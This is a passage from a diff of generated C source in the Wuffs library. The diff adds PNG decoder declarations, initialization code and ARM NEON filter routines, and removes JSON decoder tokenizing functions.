a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle_tricky( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_png__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_png__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_png__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_png__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_png__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_png__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_png__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_png__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_png__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_png__decoder__initialize( ++ wuffs_png__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } + +- v_n = a_n; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if ( ! (a_src && a_src->meta.closed)) { +- v_n |= 768u; +- } +- break; ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (0u == WUFFS_JSON__LUT_DECIMAL_DIGITS[v_c]) { +- break; ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- if (v_n >= 99u) { +- v_n |= 512u; +- break; ++ } ++ ++ self->private_impl.choosy_filter_1 = &wuffs_png__decoder__filter_1__choosy_default; ++ self->private_impl.choosy_filter_3 = &wuffs_png__decoder__filter_3__choosy_default; ++ self->private_impl.choosy_filter_4 = &wuffs_png__decoder__filter_4__choosy_default; ++ self->private_impl.choosy_filter_and_swizzle = &wuffs_png__decoder__filter_and_swizzle__choosy_default; ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; + } +- v_n += 1u; +- iop_a_src += 1u; + } +- if (v_n == a_n) { +- v_n |= 256u; ++ { ++ wuffs_base__status z = wuffs_zlib__decoder__initialize( ++ &self->private_data.f_zlib, sizeof(self->private_data.f_zlib), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } + } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_png__decoder* ++wuffs_png__decoder__alloc(void) { ++ wuffs_png__decoder* x = ++ (wuffs_png__decoder*)(calloc(1, sizeof(wuffs_png__decoder))); ++ if (!x) { ++ return NULL; + } +- return v_n; ++ if (wuffs_png__decoder__initialize( ++ x, sizeof(wuffs_png__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_png__decoder(void) { ++ return sizeof(wuffs_png__decoder); + } + +-// -------- func json.decoder.decode_leading ++// ---------------- Function Implementations + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_leading( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_1_distance_4_arm_neon + +- uint8_t v_c = 0; +- uint32_t v_u = 0; ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fx = {0}; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, v_fa); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, v_fa); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; + } ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, v_fa); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ } ++ v_curr.len = 0; + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +- uint32_t coro_susp_point = self->private_impl.p_decode_leading[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_3_distance_4_arm_neon + +- self->private_impl.f_allow_leading_ars = self->private_impl.f_quirks[15u]; +- self->private_impl.f_allow_leading_ubom = self->private_impl.f_quirks[16u]; +- while (self->private_impl.f_allow_leading_ars || self->private_impl.f_allow_leading_ubom) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_4_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fb = {0}; ++ uint8x8_t v_fx = {0}; ++ ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; + } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_c == 30u) && self->private_impl.f_allow_leading_ars) { +- self->private_impl.f_allow_leading_ars = false; +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- continue; +- } else if ((v_c == 239u) && self->private_impl.f_allow_leading_ubom) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { +- if (a_src && a_src->meta.closed) { +- break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- continue; +- } +- v_u = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- if (v_u == 12565487u) { +- self->private_impl.f_allow_leading_ubom = false; +- iop_a_src += 3u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- continue; +- } ++ v_curr.len = 0; ++ } ++ } else { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } +- break; ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- +- ok: +- self->private_impl.p_decode_leading[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_leading[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +-// -------- func json.decoder.decode_comment ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_4_distance_3_arm_neon + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_comment( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint16_t v_c2 = 0; +- uint32_t v_length = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_arm_neon( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8x8_t v_fa = {0}; ++ uint8x8_t v_fb = {0}; ++ uint8x8_t v_fc = {0}; ++ uint8x8_t v_fx = {0}; ++ uint16x8_t v_fafb = {0}; ++ uint16x8_t v_fcfc = {0}; ++ uint16x8_t v_pa = {0}; ++ uint16x8_t v_pb = {0}; ++ uint16x8_t v_pc = {0}; ++ uint16x8_t v_cmpab = {0}; ++ uint16x8_t v_cmpac = {0}; ++ uint8x8_t v_picka = {0}; ++ uint8x8_t v_pickb = {0}; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end2_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end2_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +- uint32_t coro_susp_point = self->private_impl.p_decode_comment[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func png.decoder.filter_4_distance_4_arm_neon + +- self->private_impl.f_comment_type = 0u; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) || (((uint64_t)(io2_a_src - iop_a_src)) <= 1u)) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } +- v_c2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- if ((v_c2 == 10799u) && self->private_impl.f_quirks[11u]) { +- iop_a_src += 2u; +- v_length = 2u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { +- if (v_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- } +- v_length = 0u; +- continue; +- } +- v_c2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- if (v_c2 == 12074u) { +- iop_a_src += 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)((v_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- self->private_impl.f_comment_type = 1u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- iop_a_src += 1u; +- if (v_length >= 65533u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) 